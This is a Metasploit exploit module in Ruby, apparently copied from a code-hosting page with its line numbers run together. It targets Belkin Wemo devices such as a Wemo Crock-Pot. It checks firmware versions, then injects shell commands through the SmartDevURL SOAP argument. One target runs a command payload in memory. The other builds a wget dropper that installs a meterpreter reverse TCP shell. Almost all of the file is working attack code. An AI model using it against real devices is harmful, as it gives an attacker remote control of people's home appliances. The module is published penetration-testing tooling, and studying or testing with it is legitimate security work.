Path: blob/master/modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb
32700 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Belkin Wemo UPnP Remote Code Execution',18'Description' => %q{19This module exploits a command injection in the Belkin Wemo UPnP API via20the SmartDevURL argument to the SetSmartDevInfo action.2122This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo23devices are known to be affected, albeit on a different RPORT (49153).24},25'Author' => [26'phikshun', # Discovery, UFuzz, and modules27'wvu', # Crock-Pot testing and module28'nstarke' # Version-checking research and implementation29],30'References' => [31['CVE', '2019-12780'],32['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],33['URL', 'https://github.com/phikshun/ufuzz'],34['URL', 'https://gist.github.com/phikshun/10900566'],35['URL', 'https://gist.github.com/phikshun/9984624'],36['URL', 'http://web.archive.org/web/20180301171809/https://www.crock-pot.com/wemo-landing-page.html'],37['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],38['URL', 'http://www.wemo.com/']39],40'DisclosureDate' => '2014-04-04',41'License' => MSF_LICENSE,42'Privileged' => true,43'Targets' => [44[45'Unix In-Memory',46{47'Platform' => 'unix',48'Arch' => ARCH_CMD,49'Type' => :unix_memory,50'DefaultOptions' => {51'PAYLOAD' => 'cmd/unix/generic'52}53}54],55[56'Linux Dropper',57{58'Platform' => 'linux',59'Arch' => ARCH_MIPSLE,60'Type' => :linux_dropper,61'DefaultOptions' => {62'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'63}64}65]66],67'DefaultTarget' => 1,68'Notes' => {69'NOCVE' => ['Patched in 2.00.8643 without vendor disclosure'],70'Stability' => [CRASH_SAFE],71'SideEffects' => [ARTIFACTS_ON_DISK],72'Reliability' => [REPEATABLE_SESSION]73}74)75)7677register_options([78Opt::RPORT(49152)79])8081register_advanced_options([82OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])83])84end8586def check87checkcode = CheckCode::Unknown8889res = send_request_cgi(90'method' => 'GET',91'uri' => '/setup.xml'92)9394unless res && res.code == 200 && res.body.include?('urn:Belkin:device:')95vprint_error('Wemo-enabled device not detected')96return checkcode97end9899vprint_good('Wemo-enabled device detected')100checkcode = CheckCode::Detected101102version = (v = res.get_xml_document.at('firmwareVersion')&.text) &&103v =~ /WeMo_WW_(\d+(?:\.\d+)+)/ && ::Regexp.last_match(1) && Rex::Version.new(::Regexp.last_match(1))104105unless version106vprint_error('Could not determine firmware version')107return checkcode108end109110vprint_status("Found firmware version: #{version}")111112# https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/113if version < Rex::Version.new('2.00.8643')114vprint_good("Firmware version #{version} < 2.00.8643")115checkcode = CheckCode::Appears116else117vprint_error("Firmware version #{version} >= 2.00.8643")118checkcode = CheckCode::Safe119end120121checkcode122end123124def exploit125case target['Type']126when :unix_memory127execute_command(payload.encoded)128when :linux_dropper129cmdstager = generate_cmdstager(130flavor: :wget,131temp: datastore['WritableDir'],132file: File.basename(cmdstager_path),133noconcat: true134)135136# HACK: "chmod +x"137cmdstager.unshift("cp /bin/sh #{cmdstager_path}")138cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }139cmdstager = cmdstager.join(';')140141vprint_status("Regenerated command stager: #{cmdstager}")142execute_command(cmdstager)143end144end145146def execute_command(cmd, _opts = {})147send_request_cgi(148'method' => 'POST',149'uri' => '/upnp/control/basicevent1',150'ctype' => 'text/xml',151'headers' => {152'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'153},154'data' => generate_soap_xml(cmd)155)156end157158def generate_soap_xml(cmd)159<<~EOF160<?xml version="1.0" encoding="utf-8"?>161<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">162<s:Body>163<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">164<SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>165</u:SetSmartDevInfo>166</s:Body>167</s:Envelope>168EOF169end170171def cmdstager_path172@cmdstager_path ||=173"#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}"174end175176end177178179